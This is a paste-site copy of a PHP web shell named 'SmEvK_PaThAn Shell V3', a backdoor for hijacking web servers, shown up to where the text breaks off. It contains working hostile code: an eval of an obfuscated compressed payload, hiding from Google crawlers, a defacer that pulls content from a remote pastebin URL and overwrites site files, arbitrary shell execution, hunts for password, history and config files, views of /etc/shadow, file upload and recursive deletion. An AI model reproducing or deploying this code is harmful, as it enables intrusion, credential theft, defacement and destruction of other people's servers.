· 8 years ago · Dec 04, 2017, 11:36 AM
1<?php $deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT';
2 $UserName = "zalim";
3 $auth_pass = "zalim";
4 $color = "#ABEFFF";
5 $Theme = '#09B5A6';
6 $TabsColor = '#0E5061';
7 ?>
8<?php
9
10$default_action = 'FilesMan';
11@define('SELF_PATH', __FILE__);
12if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
13 header('HTTP/1.0 404 Not Found');
14 exit;
15}
16
17@session_start();
18@error_reporting(0);
19@ini_set('error_log',NULL);
20@ini_set('display_errors',0);
21@ini_set('log_errors',0);
22@ini_set('max_execution_time',0);
23@set_time_limit(0);
24@set_magic_quotes_runtime(0);
25if( get_magic_quotes_gpc() ) {
26 function stripslashes_array($array) {
27 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
28 }
29 $_POST = stripslashes_array($_POST);
30}
31
32function printLogin() {
33 if ($_POST['pass'] != $auth_pass && $_POST['uname'] != $UserName) {
34 $status = 'Wrong Password or UserName :(';
35
36
37}
38
39?>
40
41<html>
42<head>
43<title>SmEvK v3</title>
44<link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet">
45</head>
46<style>
47body{
48 font-family: Josefin Sans, sans-serif;
49 background: black;
50 color:#ABEFFF;
51}
52 .loginpage img{
53 width: 500px;
54 height: 150px;
55 }
56 .loginpage{
57 height: 400px;
58 width: 500px;
59 border:1px solid;
60 border-color:#ABEFFF;
61 text-align: center;
62 border-radius: 5px;
63 margin-top: 100px;
64 }
65 #pageheading{
66 font-size:25px;
67 color:#ABEFFF;
68 margin-top: 10px;
69 }
70 .loginpage img{
71 width: 500px;
72
73 }
74 input{
75 background: black;
76 border-color:#ABEFFF;
77 border-radius: 10px;
78 margin-top: 10px;
79 padding:5px;
80 color: #ABEFFF;
81 }
82 input:hover{
83 background: #ABEFFF;
84 color: red;
85
86 }
87
88</style>
89<body>
90<center>
91<div class="loginpage">
92 <img src="http://i63.tinypic.com/1108vic.jpg" alt="Smevk Logo">
93 <div id="pageheading">SmEvK_PaThAn Shell V3</div>
94 <form method="post">
95 User Name: <input type="text" name="uname" ><br>
96 Password : <input type="password" name="pass" ><br>
97 <input type="submit" name="login" value="Login">
98 <?php
99
100 if (isset($status)) {
101 ?>
102
103
104
105
106 </form>
107
108</d<p><?=$status?></p>
109</center>
110</body>
111</html>
112
113<?php
114
115
116 }
117 exit;
118}
119
120if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
121 if( empty( $auth_pass ) ||
122 ( isset( $_POST['pass'] ) && ($_POST['pass']) == $auth_pass && ($_POST['uname']) == $UserName))
123 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
124 $O0OO0OO0OO0 = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOGd6dW5jb21wcmVzcyUyOGd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjhnenVuY29tcHJlc3MlMjhnenVuY29tcHJlc3MlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhiYXNlNjRfZGVjb2RlJTI4c3RycmV2JTI4JTI0T09PMDBPTyUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
125 $OOO00OO = "==gaKGKY16E9j/fxuKTapLhsZn7Ehfbx/CctapvSH9biLJbpos8Ze8SxR8VFiH9IrcndWKXnxl3x334OvN43GmuPdDOLpWcT3OSPriVN08gUmEL2Ll1LHOsc/DWpqIe3IgYOQvLO8fcz/dFRRhEWJ0K0o3E+CdVjdqd/+vKVbnm0ikIATmRA7CkOn3sw87rPsdrkW7ao1qwxjfGYIjHWXvhmlRIb0tih2Y5h3Ql+au/ZkZlJ830GB1VqdAQOdhnCsr8CtkDqs5VikQ+MNghEG3nfc0ifKTXYLkw4Cst19R4Z3wq3d59Ns9cO7+7JfXpbK/45NkdpXpHIPtkvhiaV6gBPDSGwvxz1GxdRZUrqo+CgDYrYabUDL+yOCXs6RySjUJu46TxbXLASvu7JYpmeHfGuDGRJ9vp2LO2iffm3p2FQ+DlksFxutMdNS1ZFTqZmZuK+pX6eNJBrU0Al6qoJxVA3qSXt7A/DIdnbjGfkxgyzunTQYlb9wGRX843TEdU8lSsVEVrEPTTn3CJTLAtRAbr9MerBLV6zQNTF0kcmF369GBHGLVzP5KrRY7ykuXrq65T+JVmVCZewu3Tcfrx9TwkGGQxq9/2J1N2g8jQ0tydMMvTyunWZY1kyvF2Et3Zayns9CDj+PSXtYAjPEs/Zx/h0LJYERVyQhSL1x7ldifwabjppTjTI+JECeCsFTjXM4DQixeqFLmNOJr4cGPzUccfNocTTnS+7uFZiim/jdg0bdEEVqucqGtdGSVyIY3OE/qyaOwLRSi12syMcyo7DXZDXstmhaMjPLkL5SGtGLnM7hrjIUmZBa7UzVO2V3O6FkSnv+Att/sd5MEJPHvH8hxcxMbf1b4NYqvnay/i0+x+iXZ9OkStC/su460dY9Q6t3optR3K7nd9dUeTSA8mlshGzgjXPewco6fjnSqwLCXgFf9cDekXasunKBP3mlg0wMNU9Teq8JoKUwKoTUMoGgwTzpxoq9aMgOFdak3gonAP8urn/vvr+uJ3PVreD+7nnK0gMpRUnEjdkHAysWEEICW/AADAAAJqtHBdDciH/oPwFBwJe839AiEA/YPwJBw/0DwSA";
126 eval(htmlspecialchars_decode(urldecode(base64_decode($O0OO0OO0OO0))));
127 exit;
128
129
130 else
131
132 printLogin();
133
134if( strtolower( substr(PHP_OS,0,3) ) == "win" )
135 $os = 'win';
136else
137 $os = 'nix';
138$safe_mode = @ini_get('safe_mode');
139$disable_functions = @ini_get('disable_functions');
140$home_cwd = @getcwd();
141if( isset( $_POST['c'] ) )
142 @chdir($_POST['c']);
143$cwd = @getcwd();
144if( $os == 'win') {
145 $home_cwd = str_replace("\\", "/", $home_cwd);
146 $cwd = str_replace("\\", "/", $cwd);
147}
148if( $cwd[strlen($cwd)-1] != '/' )
149 $cwd .= '/';
150
151if($os == 'win') {
152 $aliases = array(
153 "List Directory" => "dir",
154 "Find index.php in current dir" => "dir /s /w /b index.php",
155 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
156 "Show active connections" => "netstat -an",
157 "Show running services" => "net start",
158 "User accounts" => "net user",
159 "Show computers" => "net view",
160 "ARP Table" => "arp -a",
161 "IP Configuration" => "ipconfig /all"
162 );
163} else {
164 $aliases = array(
165 "List dir" => "ls -la",
166 "list file attributes on a Linux second extended file system" => "lsattr -va",
167 "show opened ports" => "netstat -an | grep -i listen",
168 "Find" => "",
169 "find all suid files" => "find / -type f -perm -04000 -ls",
170 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
171 "find all sgid files" => "find / -type f -perm -02000 -ls",
172 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
173 "find config.inc.php files" => "find / -type f -name config.inc.php",
174 "find config* files" => "find / -type f -name \"config*\"",
175 "find config* files in current dir" => "find . -type f -name \"config*\"",
176 "find all writable folders and files" => "find / -perm -2 -ls",
177 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
178 "find all service.pwd files" => "find / -type f -name service.pwd",
179 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
180 "find all .htpasswd files" => "find / -type f -name .htpasswd",
181 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
182 "find all .bash_history files" => "find / -type f -name .bash_history",
183 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
184 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
185 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
186 "Locate" => "",
187 "locate httpd.conf files" => "locate httpd.conf",
188 "locate vhosts.conf files" => "locate vhosts.conf",
189 "locate proftpd.conf files" => "locate proftpd.conf",
190 "locate psybnc.conf files" => "locate psybnc.conf",
191 "locate my.conf files" => "locate my.conf",
192 "locate admin.php files" =>"locate admin.php",
193 "locate cfg.php files" => "locate cfg.php",
194 "locate conf.php files" => "locate conf.php",
195 "locate config.dat files" => "locate config.dat",
196 "locate config.php files" => "locate config.php",
197 "locate config.inc files" => "locate config.inc",
198 "locate config.inc.php" => "locate config.inc.php",
199 "locate config.default.php files" => "locate config.default.php",
200 "locate config* files " => "locate config",
201 "locate .conf files"=>"locate '.conf'",
202 "locate .pwd files" => "locate '.pwd'",
203 "locate .sql files" => "locate '.sql'",
204 "locate .htpasswd files" => "locate '.htpasswd'",
205 "locate .bash_history files" => "locate '.bash_history'",
206 "locate .mysql_history files" => "locate '.mysql_history'",
207 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
208 "locate backup files" => "locate backup",
209 "locate dump files" => "locate dump",
210 "locate priv files" => "locate priv"
211 );
212}
213 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
214
215 $def = file_get_contents($deface_url);
216 file_put_contents($_POST['c'].$_POST['p2'],$def);
217 }
218function ex($in) {
219 $out = '';
220 if(function_exists('exec')) {
221 @exec($in,$out);
222 $out = @join("\n",$out);
223 }elseif(function_exists('passthru')) {
224 ob_start();
225 @passthru($in);
226 $out = ob_get_clean();
227 }elseif(function_exists('system')) {
228 ob_start();
229 @system($in);
230 $out = ob_get_clean();
231 }elseif(function_exists('shell_exec')) {
232 $out = shell_exec($in);
233 }elseif(is_resource($f = @popen($in,"r"))) {
234 $out = "";
235 while(!@feof($f))
236 $out .= fread($f,1024);
237 pclose($f);
238 }
239 return $out;
240}
241
242function which($p) {
243 $path = ex('which '.$p);
244 if(!empty($path))
245 return $path;
246 return false;
247}
248
249function printHeader() {
250 if(empty($_POST['charset']))
251 $_POST['charset'] = "UTF-8";
252 global $color;
253 global $Theme;
254 global $TabsColor;
255 echo "<html><head><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
256 echo '<html>
257<meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>SmEvK v3</title>
258<style>
259 body {background-color:black;color:#fff;}
260 body,td,th { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
261 span,h1,a { color:'.$color.' !important; }
262 span { font-weight: bolder; }
263 h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
264 div.content { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
265 a { text-decoration:none; }
266 a:hover { border-bottom:0px solid #5e5e5e;text-decoration:none; }
267 a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
268 .ml1 { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
269 .bigarea { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
270 input, textarea, select { margin-top:0;color:#63E1FF;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
271 input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;}
272 form { margin:0px; background:#0F1010;}
273 #toolsTbl { text-align:center; }
274 .toolsInp { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
275 .main th {text-align:left;background-color:'.$TabsColor.';}
276 .main tr:hover{background:'.$Theme.'; border:5px solid;border-color:'.$Theme.';}
277 .main td, th{vertical-align:middle;}
278 .menu { height:30px; border-radius:10px;}
279 .menu th{padding:1px;border-radius: 5px; background:'.$TabsColor.'; -webkit-transform: rotate(20deg);
280 -moz-transform: rotate(20deg);
281 -o-transform: rotate(20deg);
282 -ms-transform: rotate(20deg);
283 transform: rotate(20deg);}
284 .menu th:hover{background:#0F1010;text-decoration: none;}
285 pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
286 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
287
288
289 .cpr {margin-bottom:5px;font-weight:bold; }
290 .cpb {width:34px;margin:0 5px;}
291
292 .npoad td {padding:0;}
293 #Smevktools{
294 margin-top:50px;
295 width:500px;
296 border:1px solid;
297 border-radius:10px;
298 }
299 .smevklogo td{
300 font-size:12px;
301 font-weight:bold;
302
303
304
305 }
306 .smevklogo{
307 margin-left:5px;
308 background:url(http://i63.tinypic.com/1108vic.jpg);
309 background-repeat: no-repeat;
310 background-position: CENTER;
311 background-color:#0F1010;
312 background-size: 400px 120px;
313
314
315
316 }
317 </style>
318
319</html>
320<style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
321 <script>
322 function set(a,c,p1,p2,p3,charset) {
323 if(a != null)document.mf.a.value=a;
324 if(c != null)document.mf.c.value=c;
325 if(p1 != null)document.mf.p1.value=p1;
326 if(p2 != null)document.mf.p2.value=p2;
327 if(p3 != null)document.mf.p3.value=p3;
328 if(charset != null)document.mf.charset.value=charset;
329 }
330 function g(a,c,p1,p2,p3,charset) {
331 set(a,c,p1,p2,p3,charset);
332 document.mf.submit();
333 }
334 function a(a,c,p1,p2,p3,charset) {
335 set(a,c,p1,p2,p3,charset);
336 var params = "ajax=true";
337 for(i=0;i<document.mf.elements.length;i++)
338 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
339 sr("'.$_SERVER['REQUEST_URI'].'", params);
340 }
341 function sr(url, params) {
342 if (window.XMLHttpRequest) {
343 req = new XMLHttpRequest();
344 req.onreadystatechange = processReqChange;
345 req.open("POST", url, true);
346 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
347 req.send(params);
348 }
349 else if (window.ActiveXObject) {
350 req = new ActiveXObject("Microsoft.XMLHTTP");
351 if (req) {
352 req.onreadystatechange = processReqChange;
353 req.open("POST", url, true);
354 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
355 req.send(params);
356 }
357 }
358 }
359 function processReqChange() {
360 if( (req.readyState == 4) )
361 if(req.status == 200) {
362 //alert(req.responseText);
363 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
364 var arr=reg.exec(req.responseText);
365 eval(arr[2].substr(0, arr[1]));
366 }
367 else alert("Request error!");
368 }
369 </script>
370 <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
371 <form method=post name=mf style="display:none;">
372 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
373 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
374 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
375 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
376 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
377 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
378 </form>';
379 $freeSpace = @diskfreespace($GLOBALS['cwd']);
380 $totalSpace = @disk_total_space($GLOBALS['cwd']);
381 $totalSpace = $totalSpace?$totalSpace:1;
382 $disable_functions = @ini_get('disable_functions');
383 $release = @php_uname('r');
384 $kernel = @php_uname('s');
385 if(!function_exists('posix_getegid')) {
386 $user = @get_current_user();
387 $uid = @getmyuid();
388 $gid = @getmygid();
389 $group = "?";
390 } else {
391 $uid = @posix_getpwuid(@posix_geteuid());
392 $gid = @posix_getgrgid(@posix_getegid());
393 $user = $uid['name'];
394 $uid = $uid['uid'];
395 $group = $gid['name'];
396 $gid = $gid['gid'];
397 }
398 $cwd_links = '';
399 $path = explode("/", $GLOBALS['cwd']);
400 $n=count($path);
401 for($i=0;$i<$n-1;$i++) {
402 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
403 for($j=0;$j<=$i;$j++)
404 $cwd_links .= $path[$j].'/';
405 $cwd_links .= "\")'>".$path[$i]."/</a>";
406 }
407 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
408 $opt_charsets = '';
409 foreach($charsets as $item)
410 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
411 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Import Scripts'=>'ImportScripts','Network'=>'Network','Readable Dirs'=>'Readable','Defacer' => 'Deface','Code Injector'=>'Injector','Domains' => 'Domain');
412 if(!empty($GLOBALS['auth_pass']))
413 $m['Logout'] = 'Logout';
414 $menu = '';
415 foreach($m as $k => $v)
416 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
417 $drives = "";
418 if ($GLOBALS['os'] == 'win') {
419 foreach( range('a','z') as $drive ){
420 if (is_dir($drive.':\\'))
421 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
422 }
423 $drives .= '<br />: ';
424 }
425 if($GLOBALS['os'] == 'nix') {
426 $dominios = @file_get_contents("/etc/named.conf");
427 if(!$dominios) {
428 $DomainS = "/var/named";
429 $Domainonserver = scandir($DomainS);
430 $d0c = count($Domainonserver);
431 } else {
432 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
433 $out = sizeof(array_unique($out[1]));
434 $d0c = $out." Domains";
435 }
436 } else {
437 $d0c = "Nothing here bro:(";
438 }
439 if($GLOBALS['os'] == 'nix' )
440 {
441 $usefl = ''; $dwnldr = '';
442 if(!@ini_get('safe_mode')) {
443 $temp = array();
444 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
445 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
446 $usefl = implode(', ',$temp);
447 $temp = array();
448 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
449 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
450 $dwnldr = implode(', ',$temp);
451 } else {
452 $usefl = ' ------- '; $dwnldr = ' ------- ';
453 }
454 } else {
455 $usefl = ' ------- '; $dwnldr = ' ------- ';
456 }
457 echo '<div class="smevklogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
458 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
459 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
460 '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
461 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
462 '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
463}
464
465function printFooter() {
466 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
467
468echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
469<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
470 <tr>
471 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
472 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
473 </tr>
474 <tr>
475 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
476 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
477 </tr>
478 <tr>
479 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
480 <td><form method="post" ENCTYPE="multipart/form-data">
481 <input type=hidden name=a value="FilesMAn">
482 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
483 <input type=hidden name=p1 value="uploadFile">
484 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
485 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
486 </tr>
487</table></div></div>
488<div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:10px;margin:auto; width:500;">SmEvK_PaThAn Shell v3 coded by <a href="https://www.facebook.com/smevkpathan"> Kashif Khan</a></div></div>
489</div>
490</body></html>';
491}
492
493if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
494if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
495
496
497function viewSize($s) {
498 if($s >= 1073741824)
499 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
500 elseif($s >= 1048576)
501 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
502 elseif($s >= 1024)
503 return sprintf('%1.2f', $s / 1024 ) . ' KB';
504 else
505 return $s . ' B';
506}
507
508function perms($p) {
509 if (($p & 0xC000) == 0xC000)$i = 's';
510 elseif (($p & 0xA000) == 0xA000)$i = 'l';
511 elseif (($p & 0x8000) == 0x8000)$i = '-';
512 elseif (($p & 0x6000) == 0x6000)$i = 'b';
513 elseif (($p & 0x4000) == 0x4000)$i = 'd';
514 elseif (($p & 0x2000) == 0x2000)$i = 'c';
515 elseif (($p & 0x1000) == 0x1000)$i = 'p';
516 else $i = 'u';
517 $i .= (($p & 0x0100) ? 'r' : '-');
518 $i .= (($p & 0x0080) ? 'w' : '-');
519 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
520 $i .= (($p & 0x0020) ? 'r' : '-');
521 $i .= (($p & 0x0010) ? 'w' : '-');
522 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
523 $i .= (($p & 0x0004) ? 'r' : '-');
524 $i .= (($p & 0x0002) ? 'w' : '-');
525 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
526 return $i;
527}
528
529function viewPermsColor($f) {
530 if (!@is_readable($f))
531 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
532 elseif (!@is_writable($f))
533 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
534 else
535 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
536}
537
538if(!function_exists("scandir")) {
539 function scandir($dir) {
540 $dh = opendir($dir);
541 while (false !== ($filename = readdir($dh))) {
542 $files[] = $filename;
543 }
544 return $files;
545 }
546}
547
548function actionSecInfo() {
549 printHeader();
550 echo '<h1>Server security information</h1><div class=content>';
551 function showSecParam($n, $v) {
552 $v = trim($v);
553 if($v) {
554 echo '<span>'.$n.': </span>';
555 if(strpos($v, "\n") === false)
556 echo $v.'<br>';
557 else
558 echo '<pre class=ml1>'.$v.'</pre>';
559 }
560 }
561
562 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
563 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
564 showSecParam('Open base dir', @ini_get('open_basedir'));
565 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
566 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
567 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
568 $temp=array();
569 if(function_exists('mysql_get_client_info'))
570 $temp[] = "MySql (".mysql_get_client_info().")";
571 if(function_exists('mssql_connect'))
572 $temp[] = "MSSQL";
573 if(function_exists('pg_connect'))
574 $temp[] = "PostgreSQL";
575 if(function_exists('oci_connect'))
576 $temp[] = "Oracle";
577 showSecParam('Supported databases', implode(', ', $temp));
578 echo '<br>';
579
580 if( $GLOBALS['os'] == 'nix' ) {
581 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
582 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
583 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
584 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
585 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
586 showSecParam('OS version', @file_get_contents('/proc/version'));
587 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
588 if(!$GLOBALS['safe_mode']) {
589 echo '<br>';
590 $temp=array();
591 foreach ($userful as $item)
592 if(which($item)){$temp[]=$item;}
593 showSecParam('Userful', implode(', ',$temp));
594 $temp=array();
595 foreach ($danger as $item)
596 if(which($item)){$temp[]=$item;}
597 showSecParam('Danger', implode(', ',$temp));
598 $temp=array();
599 foreach ($downloaders as $item)
600 if(which($item)){$temp[]=$item;}
601 showSecParam('Downloaders', implode(', ',$temp));
602 echo '<br/>';
603 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
604 showSecParam('HDD space', ex('df -h'));
605 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
606 }
607 } else {
608 showSecParam('OS Version',ex('ver'));
609 showSecParam('Account Settings',ex('net accounts'));
610 showSecParam('User Accounts',ex('net user'));
611 }
612 echo '</div>';
613 printFooter();
614}
615
616function actionFilesMan() {
617 printHeader();
618 echo '<h1>File manager</h1><div class=content>';
619 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
620 switch($_POST['p1']) {
621 case 'uploadFile':
622 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
623 echo "Can't upload file!";
624 break;
625 break;
626 case 'mkdir':
627 if(!@mkdir($_POST['p2']))
628 echo "Can't create new dir";
629 break;
630 case 'delete':
631 function deleteDir($path) {
632 $path = (substr($path,-1)=='/') ? $path:$path.'/';
633 $dh = opendir($path);
634 while ( ($item = readdir($dh) ) !== false) {
635 $item = $path.$item;
636 if ( (basename($item) == "..") || (basename($item) == ".") )
637 continue;
638 $type = filetype($item);
639 if ($type == "dir")
640 deleteDir($item);
641 else
642 @unlink($item);
643 }
644 closedir($dh);
645 rmdir($path);
646 }
647 if(is_array(@$_POST['f']))
648 foreach($_POST['f'] as $f) {
649 $f = urldecode($f);
650 if(is_dir($f))
651 deleteDir($f);
652 else
653 @unlink($f);
654 }
655 break;
656
657
658
659
660 case 'paste':
